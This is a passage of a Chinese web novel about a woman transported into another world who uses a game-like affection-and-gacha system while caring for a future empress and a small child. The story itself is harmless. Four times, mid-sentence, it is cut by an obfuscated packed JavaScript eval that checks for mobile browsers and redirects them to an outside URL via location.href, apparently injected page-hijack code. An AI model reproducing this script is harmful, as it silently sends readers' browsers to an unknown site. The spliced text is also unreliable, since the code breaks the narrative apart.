沈之虞眉眼微动,看向眼前的人,“你……” 季平安也张开手心,指着从郝大和王二那里掏出来的铜币道:“这是他们欠我的酒钱,余下的便当做是巩荣给你的欠礼。” 说出来那样的话,只是口头的两句道歉怎么也不够,还是用银子补偿比较好。 沈之虞垂眸看向手中的银子,没有想到乾元会说出来这样的话。 她听到了巩荣油腻的话,也看到了对方垂涎的眼神。 但当时,沈之虞的内心只有平静,像是在看干涸池塘里面的烂鱼烂虾。 她记住对方的样貌,盘算着日后该让对方付出什么样的代价。 唯一没想到的就是,季平安会动手,现在还会说,她手上的银子是道歉补偿。 【目标人物好感度+10】 机械音响起,季平安的大脑反应了片刻,才确认她自己没有听错。 不是好感度-10,而是好感度+10,她第一次增加了对方的好感度! 季平安觉得,她现在甚至比当时抽卡出金还要激动,看向沈之虞的眼神都带了些热切。 那可是十次抽卡机会啊! 沈之虞敏感地察觉到了眼前人的反常,她眯了眯眼,下意识和季平安来开距离。 季平安咳一声,问道:“你早饭吃饱了没有,要不再进去吃点?” 她们听到巩荣的声音,便放下早饭出了灶房,刚才和对方“友好”地理论一番,季平安感觉自己倒是又有点饿了。 沈之虞点头,她刚才也只吃了一个野菜饼,也才三分饱。 只是她刚抬脚,便见到旁边的季平安呲牙咧嘴地“嘶”了一声。 “你怎么了?”沈之虞上下打量着她。 季平安欲哭无泪:“刚才打人用的力气太大了,胳膊和脚都抽筋了。” 她教训人的时候没有留力气,每一脚都是实打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等到喂了几天,倒是可以靠近些,但一旦超过猫咪能接受的安全距离,猫猫就开始呲着牙朝她哈气。 当时的季平安内心只有一个想法:哈气的猫猫也可爱。 吃完早饭,三人各自领了锅碗去刷,收拾好之后,季平安本想从灶房里出去。 只是转过身,就见到沈之虞还站在灶边,没有要出去的迹象。 “你还饿?” 沈之虞下意识摇头:“不饿,我想……” 季平安好奇问道:“你想什么?” 除了前面的想要离开,以及要自己抹药,这还是沈之虞第一次主动提出来要求,她肯定要满足对方。 沈之虞早上看到了季平安洗身子,也觉得自己身上有些难以忍受。 但话要出口的时候,她又有些担心,乾元会不会趁着她要洗身子的时候,突然做些什么。 季平安等了片刻,没听到沈之虞说话,于是又问一遍:“你想做什么?如果我能做到的话,肯定会帮你做到。” 沈之虞垂眸思索片刻,才道:“我想烧些热水洗沐。” 她现在不像之前那样浑身无力,哪怕乾元力气大些,她也有逃脱的可能。 再者,不如也接机试探对方,若是乾元现在就装不下去,她也不用多费心猜测怀疑。 10. 第 10 章 听到这个的季平安,悬着的心也彻底放了下来,总算是她能够做到的事情了! 终于不用自己打自己的脸了! “我给你拿块布巾,再帮你找身衣服,虽然不是新的,但保证洗的干干净净。” “烧好水后,你便拎着水桶去屋子里洗,门可以锁起来,我帮你在外面守着,不会有其他的人。” 沈之虞顿了下,问道:“你的衣服?” 目前家里只有三个人,岁岁的衣服她自然穿不下,那就只有乾元的衣服了。 季平安点头:“家里现在没有新的衣服了,等你身上的伤好了之后,我带你和岁岁去县城里上买几身。” 沈之虞垂眸,想拒绝却也说不出来。 若是洗完身子后,还要穿着身上的脏衣服,那让她更不能接受。 见到沈之虞点头答应之后,季平安也松了一口气。 烧好热水拎到屋子中,沈之虞想将门关紧。 木头经过风吹雨淋后便容易变型,她纤细的手指抵着插栓,指腹的位置几乎都泛了白,却怎么也插不进去。 在院中的季平安,本来就一直关注着沈之虞,看到后径直走到屋门前:“我来试试?” 沈之虞侧开身子,将位置让开,指尖收回来,却不小心碰到季平安伸出来的胳膊,如同一片羽毛轻轻掠过。 季平安的注意力全都在她眼前的门上,插栓被雨淋过,所以一些位置膨胀后突起来。 她左右推了推,手掌用力,慢慢地木头推进对应的锁眼中,靠着蛮力将突起的位置抹平。 “咔嗒”一声,门被完全锁住,沈之虞看向旁边的人。 插栓在里面,外面没有打开的方式,并且现在被严严地卡住,靠她的力气打不开。 如今屋内只有她和季平安两个人,对方想要做什么,她完全逃不掉。 这是她特地给季平安的“机会”。 如果对方真的想要强制标记,现在是最好的时机。 沈之虞心里默默数着数,十、九、八,七…… 数到五的时候,连她心里都不知道期待什么结果,只感觉各种想法在她的头脑里面乱窜。 只是还没有倒数完,沈之虞便感觉自己的胳膊被人碰了碰。 她的心忽地沉了一下,对方甚至连十秒钟都坚持不住。 明明是预料之中的事情,但沈之虞的心底却涌起一股愤怒。 既然如此,那在刚才又为什么教训那些满口污言秽语的人,还给她银子作为道歉的赔礼? 你季平安和这些人有什么区别,无非都是贪图标记、占有她,一群该死的人罢了! 她握紧手心的石子,想着自己在心里想过无数遍的报仇计划,以及如何杀死对方。 只是她还没有来得及抬眼,便听到了季平安的声音。 “那个……门锁好了,你要不要试试?” 说话的时候,季平安特地放缓了语气,显得格外温柔。 当然,温柔是表面,实际上她心里快害怕死了! 插栓卡进去,再拔出来后,原来的突起的位置变得平整,比之前好上不少,力气小也能轻易开关。 她拍了拍沈之虞的胳膊,想让对方亲自试试,看看还有没有什么问题,结果系统的机械声开始疯狂提示。 【目标任务好感度-5】 【目标人物好感度-5】 【目标人物好感度-5】 …… 林林总总地一共减了35好感值,并且还在往下减,很快就要突破-100。 季平安刚开始还以为是系统卡了,后来调出面板,看到上面不断下降的数字才慌了神,急忙开了口。 她说话的时候,沈之虞还沉浸在自己的思绪中,愣了一会儿,才抬眸看向前面,发现门已经开了。 “你……把门开了?”她的语气里,甚至还藏着一丝不可思议和疑惑。 所以,季平安刚才并不是想强行标记她? 季平安看着眼前的人,神色仍然是平时冷淡的模样,也不知为何好感值会突然变化。 但她现在格外警惕,多余的动作不敢做,多余的表情也不敢有,生怕好感度再次下降。 “对,你试试,应该比刚才要省力气。” 沈之虞试着推送,门锁仍然能感受到阻滞和缓慢,但比刚才一动不动要好上许多。 她蜷了下指尖,现在也想明白,刚才季平安碰她,应该只是提醒她罢了。 季平安看没有问题,便道:“那我先出去?你有其他的事再喊我就行。” 沈之虞点头,但反应却比之前要慢上几分。 等到季平安从屋子里面出去,她看了院里的人一眼,随后才将屋门锁好。 — 季平安出来后,便在外面守着,毕竟沈之虞现在腿上和身上还有伤,容易发生意外。 她看着紧闭的屋门,等了一会儿后,就听到里面窸窸窣窣的水声。 水声很轻,但正因为季平安刚刚才洗过身子,所以都不用想,便知道对方现在是什么样子。 她摇头把不该想的场景从脑袋里晃掉,不自然地移开眼睛,想叫来岁岁帮忙听着。 只是还没有把人叫回来,脑海中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339065|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便又响起来了机械声。 【目标人物好感度+5】 【目标人物好感度-5】 【目标人物好感度+5】 …… 这次的机械声,甚至比刚才持续的时间还要长,并且是好感度加减来回变化。 季平安的心情就和做了过山车般,听到好感度降低心就沉入谷底,听到好感度提高心就仿若飘上云端。 若是现在能检测到她的心率曲线,那一定是跌宕起伏。 等到机械声终于停止后,她深吸一口气,才敢打开系统面板,查看现在的好感度情况。 【沈之虞当前生命值:36(满值100)】 【沈之虞当前好感度:-45(满值100)】 【当前可抽卡次数:15】 季平安:“!!!” 起始的好感度是-50,刚才在屋里,好感度已经突破-80。 没有想到刚才加加减减的时间里,好感度不仅涨回到了原来的数值,还额外高了五点。 她现在总的抽卡次数已经到了15次! 虽然不知道沈之虞的好感度,变化为什么这么大。 但无论如何,好感度涨了,对她就是一件好事! 等沈之虞洗完后,便看到了正在院子中四处转悠的季平安。 她顿了片刻,才主动开口问道:“你在做什么?” 季平安抬头,解释道:“我想看看院子篱笆有没有坏的地方,今天修整修整。” 她白日里虽然把巩荣他们打跑了,但是按照这几个人的品行来说,难免不会回来报复。 若是日后她不在家,只有沈之虞和岁岁在,那就有点危险了,所以院子外面破掉的篱笆得加固。 她说完,又看到沈之虞湿着的头发:“你先进屋去吧,要不然容易受风着凉。” 沈之虞毕竟和他们不同,从小便在宫里养着,一头茂密乌黑的长发被简单地盘着,长而直的发丝垂在身后,如同昂贵的丝绸。 哪怕身上穿的只是身简单的布衣,也险些让季平安移不开眼。 沈之虞先前误会了季平安,哪怕洗身子的时候,脑海里也全是这件事。 因此,乾元说完,她也没有反驳,便跟着旁边的岁岁一起进了屋。 院里的季平安微微挑眉,看着沈之虞的背影,她脑海里不知道为什么,浮现出来的只有一个念头:对方今天有点乖啊。 过了会儿,意识到自己在想些什么的她,急急忙忙把跑远的思绪拉回来。 这可是会将人抽骨扒皮的未来女皇,和乖怎么会沾边! 11. 第 11 章 强迫自己不再去想沈之虞,季平安继续看着院子里缺的东西。 她昨日还在开心,用意外获得的毒蛇卖了一两银子,这在县城里的人家手里,也算得上是笔大钱了。 但现在却觉得钱还是不够,她还得继续多挣点。 且不说她们三个人都要添几身衣服,就是如今家里的锅瓦瓢盆也带着豁口,稍不注意就容易伤到嘴巴,得尽早换。 做饭用的盐也已经只剩个底,最多再吃个两三天。 现在的盐是贵重东西,不到半小罐的盐,就要一百多文,比肉可贵多了。 而且天越来越热,往后洗身子也会越来越频繁,她还想找木匠打个浴桶出来,洗起来更方便。 院子里的篱笆倒是不用花钱,她去院子后面砍些树,自己补好缺的地方就行。 这么算下来,需要的钱只多不少。 季平安把紧缺的东西再心里列了列,随后她去了芸娘家借了下砍树用的斧子。 相比较借菜刀,这次芸娘倒是没有过分犹豫。 只是递过去斧子的时候,她问道:“阿九……应该没事吧?” 芸娘习惯早饭前先去一趟地里,因此没有亲眼见到季平安和巩荣的事情。 她也是回来才听说,早上有人来季家找麻烦,欺负坤泽,被季平安狠狠地教训了。 季平安思考一瞬,便明白芸娘指的是什么,她随口道:“没事,我也不会让人欺负她的。” 说完,她接过斧子道:“我下次若是猎到了野物,再分给你点。” 芸娘想摇头说不用,只要季平安做的是正经事,她不需要对方拿东西来换。 但是这话还没说出口,季平安便拿着斧子转身离开,朝着自己家门的方向走了过去。 芸娘看着她的背影,想着村里人说的那番话,也觉得自己的猜想又真了几分。 若是能和阿九好好过下去,季平安应该也会和之前不一样。 拿到斧子后,季平安去院子后面砍了些树补在篱笆的位置。 她又试着用斧子劈了些细而坚硬的树枝,前端削尖,再砍到合适的长度,勉勉强强可以当做打猎用的箭。 和原主母亲做的比不上,不过她靠着[瞄准辅助镜],也能当做正常的箭来用。 季平安一次性做了三十多支,等到做完后,便也到了中午。 她站起来拍了拍身上的灰,才进到灶房里面。 岁岁和沈之虞这时候也过来了,“阿姐,你要做午饭?” “是啊,我早上做的野菜饼好不好吃?”季平安问她。 岁岁立刻点头:“好吃。” “阿九也觉得好吃,说要我多做饭呢。” 说话的时候,季平安故意拉长语调,里面还有些笑意。 沈之虞眼眸微动,和季平安的视线对上。 她当时明明是嘲讽,若乾元觉得自己做饭好吃,不如以后家里的饭全都由她来做。 但现在同样的话,被季平安换了几个字,便成了另外一种意思。 仿佛是她很喜欢乾元做的饭,吃不到的话还会伤心难过一般。 听到这话的岁岁,先是仰头看了看沈之虞,才又重新看向季平安,“我和阿九也会帮阿姐做饭的!” 季平安把这话当了真,看向沈之虞寻求意见:“是吗?” 沈之虞:“……” 她倒是不知道,乾元不仅记得这件事,今天还特地报复回来。 在岁岁的面前,她语气平常:“当然。” 但听在季平安的耳中,却有多了些咬牙切齿的味道。 她忍不住笑了笑:“那就麻烦你和岁岁,去我屋里把昨天买的猪肉拿出来,我们今天熬油。” 猪肉拿过来,季平安往做饭用的陶罐里面加了些水。 买猪肉的时候,肉铺老板帮她剁了两刀,虽然块还是有些大,好在不是直接炒菜,熬油的影响便小一些。 因此季平安夜懒得再去借刀,直接把猪肉扔到了陶罐当中。 等了会,陶罐中的水便开始慢慢沸腾起来,温度升高,肥肉中的油脂慢慢渗了出来,浓郁的油香味飘出来。 灶边的岁岁忍不住咽了咽口水,虽然昨晚已经吃过了烤兔子,但一点也不影响现在的香味,把她馋的肚子都开始咕嘟咕嘟地叫。 季平安听到声音笑了下,“岁岁,稍微往后退一点,一会儿油要溅出来。” 沈之虞拉着岁岁的小手往后退了退,但小孩的眼神就没有离开过陶罐。 她听到油要溅出来,最先想到的不是被油烫伤,而是这么珍贵的油会溅到灶台外面,那可是猪肉熬出来的! 这么想着,岁岁也顾不得其他了,忍不住道:“阿姐,要不然你把盖子盖上吧。” 季平安倒是没有因为岁岁年纪小说话就敷衍,而是认认真真的解释:“阿姐得看着里面的油,时不时调下火候,盖上容易糊。” 熬油也是门技术活,火小了猪肉里面的油不能完全出来,会炼得不干。 火大了就会糊,最后熬出来的猪油渣也不好吃。 也是多亏季平安先前短视频的风格就是乡村生活,什么都爱尝试一点,掌握的东西也多。 若是让当时还是打工人的她穿过来,恐怕吃饭都是难题。 等到熬了两三刻钟后,油渣变得金黄酥脆,季平安先用铲子把大块油渣压的碎一些,才盛出来到旁边的罐子里。 季平安自己先捏起来吃了一块,感觉不会把人烫到之后,拿着罐子到她们面前:“你们来尝尝。” 岁岁咽了咽口水,但还是没有伸手:“阿姐,我先去洗手!” “没事,阿姐给你拿一块。” 季平安从罐子里拿了块大的猪油渣,递到岁岁的嘴边,猪油渣陌生又酥香的味道瞬间弥漫在岁岁的鼻间。 她吸了吸鼻子,像是连香气都舍不得放过。 但吃到嘴里的时候,却又只咬了一点点,像是吃完这块就再也吃不到一样,格外珍惜。 季平安看的好笑:“多咬点,这罐子你想吃多少都可以。” 说完,她看向沈之虞,把手里的罐子递到她面前,“你也尝一块。” 沈之虞伸手拿了块,还没吃到嘴里,便听到季平安又问:“对了,你应该洗手了吧,如果没有洗的话……” 她冷了眼眸,瞥了一眼笑着的人,转过身不再理她,把猪油渣吃到嘴里,刚才误会对方的那丝愧疚也消失殆尽。 果然还是那个可恶的乾元。 被忽视的季平安倒是笑的开心,不得不说,沈之虞好像比她想象的要好懂一些。 哪怕她开玩笑,对方的好感度却没有降,只是表面上会冷冷的瞪人。 油渣虽然香,但是也不能一次吃太多,因此她们各吃了两块后,季平安便把装着猪油渣的罐盖好。 她把猪油渣罐放到岁岁的手上:“岁岁,这个给你保管。” 岁岁看着眼前的罐子,险些以为自己听错了! 这里面可是猪油渣啊,这么贵重的东西,怎么能让她来保管呢! “阿姐,我……我不行的……” 说话的时候,岁岁的眼睫忍不住往下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339066|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂。 季平安蹲下来,抬起手摸了摸她的头,问道:“为什么不行,阿姐觉得这个罐子交给你来正合适,阿九也是这么想的,你不信问问她。” 听到这话,岁岁抬头看向她旁边的沈之虞,小声问道:“阿九,你也觉得我可以保管吗?” 沈之虞摸了摸她的头,道:“岁岁可以的。” 季平安继续道:“阿姐要看着家里的米面还有油罐,阿九帮忙看着灶房里的野菜,剩下的这个罐子就交给我们岁岁了,行不行?” 原主之前不仅打人,更是什么话都在孩子面前说,甚至将季母的死因都归结到了岁岁的身上。 哪怕现在岁岁开朗了些,但害怕和恐惧的习惯却不是一朝一夕能改掉的。 季平安也要在这些小事上,慢慢让岁岁自信和开朗起来。 听到这话,岁岁抱紧了手上的罐子,“我会好好看着的!” 她要放到自己的屋子里面,这样村里有盗贼的话,也不会被偷走。 见岁岁答应,季平安也放下了心,她嘱咐道:“也别一直放着不吃,容易坏。如果你想分给满满也可以,不用问我。” 岁岁点头,其后又小声地和她们两人道:“我不会分太多给满满的,先给阿姐和阿九留着吃。” 哪怕是一斤的猪肉,熬完油之后,猪油渣也才装了不到半罐,肯定还是要先紧着自己家里人吃。 季平安被她这句话暖了心窝,不经意间转头,发现沈之虞的眼眸里也闪过很轻的笑意。 但也只是一瞬,快得让她分不清是不是错觉。 因为有了油,午饭便好做许多。 季平安蒸了些米,又用油炒了些野菜,便是简单的一顿。 野菜的味道虽然一般,但她做饭舍得放油,把野菜的清苦味压了下去,吃到嘴里便只有刚采摘回来的鲜和嫩。 再配上热气腾腾的米饭,三个人都忍不住多吃了些。 等到晚上,季平安躺到床上,打开了系统页面。 她看着系统透明页面上,这个大大的、极度具有吸引力的抽卡按键,心中纠结万分,在想目前有的这15次抽卡机会,是全部抽掉,还是留下几次抽卡机会以防万一。 思考片刻后,季平安决定还是全部抽掉。 一是她现在极度缺钱,家里需要改善的地方太多,倒不如看看能不能抽到第二个优类物品。 二是她觉得,只要她不像原主那样犯错,沈之虞的好感度总会慢慢升上去的,她还会有更多的抽卡机会。 季平安忍不住从床上坐起来,决定先用一次抽卡机会试试水。 【宿主确认使用一次抽卡机会?】 【确认。】 这次的系统页面并没有像上次那样发生颜色的变化,只是轻轻地波动。 【恭喜获得凡类物品[精美萝卜],有效时间为[无限期拥有]】】 【物品描述:清甜脆爽、可口万分,灵泉与土地里生长的精品。】 季平安刚看完物品描述,便感觉自己的头被“砰”地砸了一下,一颗萝卜落在了她的旁边。 “???” 系统你送东西的方式真是与众不同。 不过季平安倒没有太过失落,毕竟新手介绍里已经说过,【优】类物品获得概率最为稀少,她也不可能每次抽卡都能获得。 季平安先把萝卜放到旁边,深吸口气继续下面的抽卡。 【宿主确认使用十四次抽卡机会?】 【确认。】 季平安的话音落下,平静的系统页面,也开始发生变化。 12. 第 12 章 如果每次抽卡机会都分开使用,那每一次都会期待能不能出现优类物品。 季平安觉得实在太过煎熬,索性余下的十四次抽卡机会,她一次全部用掉。 她在脑海中确认完毕后,系统页面旁边的【抽卡次数】,瞬间变为了0。 哪怕只是虚拟的抽卡机会,季平安也看的极度心疼。 这可是她在天崩开局下,辛辛苦苦才得到的好感度啊! 可能是因为抽卡次数比之前要多,系统页面变化的也更缓慢。 页面从抽卡键的位置开始如水波般荡漾,慢慢地,一抹浅金色开始从页面边缘泛起。 如同在海边看日出,灿烂的金色光芒慢慢将所有如水的波纹覆盖,整个画面恢弘又壮丽。 这次抽卡又出现了优类物品! 季平安有了先前的经验,没有再看系统页面,而是整个人先从床上跑了下来,防止抽到的东西再次砸在她的头上。 还没有站稳,她便看到空中突然出现了一堆东西,随后“哗”地在同一时间掉落,噼里啪啦地散了一地。 季平安:“……” 幸亏她跑得快,要不然系统还要担上“谋杀宿主”的罪名。 等到掉落完毕,她回到床上,开始翻看系统内抽到的物品名录,其中凡类物品11个,良类物品2个,优类物品1个。 季平安直接略过系统给出来的夸张物品描述,先看后面的良类物品和优类物品。 她可没有看错,这次不仅抽到了从来没有见过的良类物品,而且这次也有优类物品! 【恭喜获得优类物品[力量点补充],有效时间为[无限期拥有]。】 【物品描述:无尽的世界,从身体内处迸发的,最原始的永恒的力量。】 【恭喜获得良类物品[格子存储空间]x2,有效时间为[无限期拥有]】 【物品描述:小小格子,大大能量,留不住放不下,皆可置于此。】 好在物品描述虽然不靠谱,但物品名字还是简洁明了的。 季平安默默在心里猜测,这次的优类物品,应该是能够增加她的力量,就是不知道能够增加多少。 【是否确认使用[力量点补充]?】 【确认。】 季平安在确认完毕后的那一瞬间,便感觉到自己的身体由内而外的都发生了变化。 她的呼吸更加沉稳,腿也更加轻盈,整个人都感觉充满了力量感。 她急忙站到地上,试着用单只手臂抬了抬屋子里面最重的床,微微一用力,床就离开了地面,格外轻松。 这是之前的季平安完全不能够做到的! 如果按照100满分计算的话,那之前的她力量可能堪堪达到45/100,连最普通的乾元都比不上。 但获得了[力量点补充]的她,如今至少可以达到75/100! 不愧是优类物品,竟然永久地提升了她的身体素质! 季平安几乎要抑制不住自己激动的心情,她觉得今天这个优类物品,甚至比[猎物瞄准镜]要更合她的心意。 毕竟,她之前面对巩荣,只是踹了对方两脚,自己的腿都能抽筋。 虽然没有让巩荣欺负到自己,但若是再多来些人,她可能也没有当时的云淡风轻。 更不必说,她之前的体质,上山半天都会气喘吁吁,只能靠着意志力坚持到县城。 这个世道,有力量才不会让人敢欺负她和她的家人,才能赚钱。 看完优类物品,季平安的目光落到系统页面上,在下方突然多了两个空的格子。 这应该就是她抽到的两个重复良类物品[格子存储空间]。 她试着拿起来刚才抽到的萝卜,心里默念[收起],眨眼间她手上的萝卜就消失了,而系统下面的一个方格中却多了个萝卜图标。 季平安眨眨眼,又在心底里面默念[取出],萝卜又再次出现在她的床上。 她立刻跑到自己屋子角落处,手放到麦面和粳米的布袋上,想要把这个收入到存储空间。 但这次并没有成功,系统弹出来提示。 【提示,每一方格仅可存放一类物品。】 季平安的手往旁边动了动,只放在麦面的那边,这次系统没有再弹提示,她成功的把麦面收进了系统空间。 两次实验,她基本搞清楚了这个[格子存储空间]的使用规则。 它类似于游戏里常见的“背包”,可以存储现实里的物品,不会限制大小和重量。 但是每个格子只能存放相同种类的物品,不能将不同种类的物品放到同一格子中。 看完良类物品和优类物品,季平安最后才看她抽到的凡类物品。 凡类物品为:南瓜、菘菜、布巾、蔬菜种子10颗(可兑换为任意蔬菜种子)、木筷、棉被、麻绳、木雕摆件、放松音乐、野生鲫鱼。 其中木筷有两双,加起来共有十一种凡类物品。 除了[放松音乐]的时效性为[一刻钟]外,其他的物品时效性均为[无限期拥有]。 季平安先把还在活蹦乱跳的野生鲫鱼收进了系统存储空间,这样明天取出来还是活的。 她把南瓜、菘菜、萝卜、木筷放到背篓里面,明天直接放灶房里,说是她从县城里带回来的就行。 剩下的布巾、棉被、麻绳都被她塞到了柜子里,需要用的时候直接拿就行。 虽然这些物品都是凡类,但对季平安来说,也能省点钱,她完全不会嫌弃。 至于这个木雕摆件,用处就比较小一点,季平安也一块收到了柜子里。 现在还剩下最后一件物品,[一刻钟]时效性的[放松音乐]。 【物品描述:无论夜晚还是白天,触及灵魂,思接千里,予你轻松时刻。】 季平安点了使用,随后系统便开始播放音乐,屋内听不到,只在她的脑海中播放,选的还是她当视频博主时,使用次数最多的那首纯音乐。 季平安:“……” 一刻钟结束,音乐也随之停止。 放松有没有她不知道,一次抽卡机会被白白浪费了是真。 只能许愿,她以后抽卡千万不要再出来这种了! * 晚上抽卡太过激动,季平安第二天便起的晚了些,醒来时岁岁和沈之虞已经起来在院中洗脸。 沈之虞昨日洗沐完,便穿上了她拿的旧衣服,面料就是村里人常穿的细麻布,深蓝色被洗的有些旧。 季平安稍微比她高一些,因此沈之虞穿在身上,稍微稍微有些宽松。 她将衣袖轻挽起一截,露出了略显细瘦的手腕。 原本有着泛红伤痕的位置,此刻颜色也变淡些,抹完药之后成为淡淡的青色。 沈之虞低头,用手轻捧了些水湿面,眼睫也被沾湿些。 她洗完直起身来,便看到自己面前递过来一块布巾, 季平安非常自然地和她道,“擦擦。” 沈之虞看了她一眼,接过来将脸上的水擦干净,才问道:“岁岁呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339067|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“她说要和你一起做早饭,刚才去我屋里盛米和面了。”季平安道。 沈之虞点头,将布巾放到原来的位置。 她们起来的时候,季平安的屋门还关着,岁岁见到便说不如早饭由她们来做。 季平安好奇问道:“阿九,你也要做?” 在原剧情里,沈之虞可是从小就在宫里养着,对方应该完全不会做饭,更不用说还要用土灶和陶罐。 沈之虞轻飘飘地瞥她一眼,道:“不是给你做的,只是陪岁岁。” 季平安:“……” 这个事实,她在心里清楚就好了,倒也不必说出来。 “我不是这个意思,只是你还会做饭吗?” 沈之虞语气如常:“会做饭有问题?” 季平安立刻摇头:“没问题。” 说不定就是原剧情里没有写呢,实际上沈之虞厨艺高超,季平安觉得她不能太小看对方。 沈之虞这才嗯了一声,往灶房里面走去。 季平安没跟着,她在外面洗完脸,又扯了根门口的柳树枝刷了刷牙。 家家户户这个时候都正做着饭,烟囱里冒着烟,喊小孩子起床的声音,混着枝头叽叽喳喳的鸟鸣声,格外有生活气息。 家里现在食材还比较少,所以岁岁早上还是做的野菜饼,再煮些米粥。 季平安到灶房门口的时候,沈之虞手上正端着面糊,准备烙饼,岁岁则在旁边洗米,准备煮米粥。 她站在门口,没有打扰,看着对方的动作。 无论是刚才的洗脸,还是现在的烙饼,明明很普通平常,但落在沈之虞的身上,便添了一股韵味。 不急不缓,由内而外地散发出一种气质,矜贵又舒缓。 只是,季平安欣赏了会,实在看不下,对着沈之虞道:“烙饼该翻面了,再不翻面就要糊掉了。” 她走到对方的旁边,便看到沈之虞拿着木铲,碰了碰带着糊边的饼,想整个铲起来。 但是因为火候大了些,放的油也少,饼粘在里陶罐底部。 沈之虞试了几次,没有铲起来,反倒碎地和岁岁煮的粥有一拼。 季平安实在忍不住笑,撤了两根柴火,把火搞地小一些后,才从她手上接过来铲子补救一番。 “没事,还差不多能吃,就是饼的颜色有点深罢了。” 沈之虞:“……” 她昨日见过季平安做野菜饼,也把每一步怎么做记了下来,因此才准备做野菜饼。 只是没想到,前面还好好的饼,眨眼间便泛了些糊味。 她看着碗里的饼,有些不确定地问道:“还能吃?” 季平安点头:“怎么不能,味道和正常饼的味道差不多,而且糊掉的位置更香。” 说完,她就用筷子夹了一块放到嘴里,咽到了肚子里面之后,说道:“这饼还挺香的,你要不要试试?” 毕竟是自己亲手烙出来的饼,沈之虞也想尝尝味道。 她夹了一块放到嘴里,先是最明显的糊味,然后…… 没有然后了,糊味将原本麦面和野菜的香味全部覆盖,吃到嘴里和“香”两个字丝毫不沾边。 见人吃到嘴里,先是细细品味,后来眉头越皱越深,季平安一直压着的嘴角也疯狂上扬,直接笑出了声,还不忘问道:“怎么样,我说的没错吧?” 沈之虞:“……” 她冷呵一声,“是挺好吃的,喜欢你就多吃点。” 季平安:“……” 那倒也不用了。 13. 第 13 章 她们说话的时候,正在煮粥的岁岁也过来凑热闹,季平安也没忘记给她一块,“好吃的。” 岁岁对她的话深信不疑,吃到嘴里才道:“阿姐……好苦。” 沈之虞又冷冷地瞪了季平安一眼。 烙出来的饼小,她们一人一块,碗里的饼也不剩多少。 不过季平安也知道了,沈之虞确实没有点亮厨艺这个技能点,她便接过来面糊,把剩下的饼烙完。 吃完早饭,岁岁想和沈之虞一起去捡柴,前天烤野兔用的柴多,家里的柴火也不剩下多少。 “好,少捡点柴也可以,累了就回家。”季平安叮嘱她。 岁岁点头:“好哦,阿姐。” 说完小的,季平安又看向沈之虞:“村里的人你如果不认识,也不用和他们打招呼,觉得烦了回家就可以。” 村里就这么大点儿的地方,没有什么新鲜事,大家伙儿聊来聊去的也不过那些事情。 她只是上山一趟,都能被聊上几个时辰,更不用说沈之虞这个陌生的坤泽了,指不定要被多少人拉着问东问西。 沈之虞看着她道:“我有分寸。” 她的声音冷淡,季平安却觉得刚好:“若是有人拉着你唠家常,你这样说话就行。” 经过这几天的相处,她也能看出来,沈之虞不是个爱委屈自己的人。 哪怕再讨厌她,也不会拒绝她做的食物和送的药。 “我这样说话有问题?” 沈之虞总觉得乾元的话中,似乎还有另外一层意思。 季平安当即道:“你说话声音比我好听,还比我明事理,是再好不过的人了。” 沈之虞呵了一声,内心又给乾元打上了个“虚伪”的标签。 季平安忍不住弯了下唇角:“若是真的有人想欺负你,你别硬碰硬,先到人多的地方,实在不行便说我的名字。” 她在村里的名声虽然不好,但也正是这样,村里大部分人也不会主动来招惹她。 毕竟若是正常人,还能够讲讲道理,但被无赖黏上,那可比狗皮膏药还麻烦和难受。 沈之虞视线落在她身上,意思明显:原来你也知道自己在村里人眼中是什么样子。 她还没有来得及嘲讽,便感觉到自己的脸侧边有一抹凉。 季平安的手沾了些水,然后又从地上蹭了些土,成了泥后直接抹到了沈之虞的脸上。 “你……” 季平安打断她的话:“村里什么样的人都有,这样安全一点,你自己记得多抹点。” 沈之虞是真的漂亮,而在这个世道,漂亮只能带来危险,原主便是鲜明的例子。 她说完,沈之虞便明白了她的意思,但她还是擦掉了季平安刚给她抹上的泥印。 然后又自己重新往脸上抹了些,像是十分嫌弃季平安刚才碰她。 季平安压了下嘴角,觉得未来女皇,现在甚至还带着些幼稚。 * 嘱咐完两人,季平安才带着弓和她自己劈好的箭上山。 走到山上后,她没有立刻搜寻猎物,而是先把[猎物瞄准镜]带上。 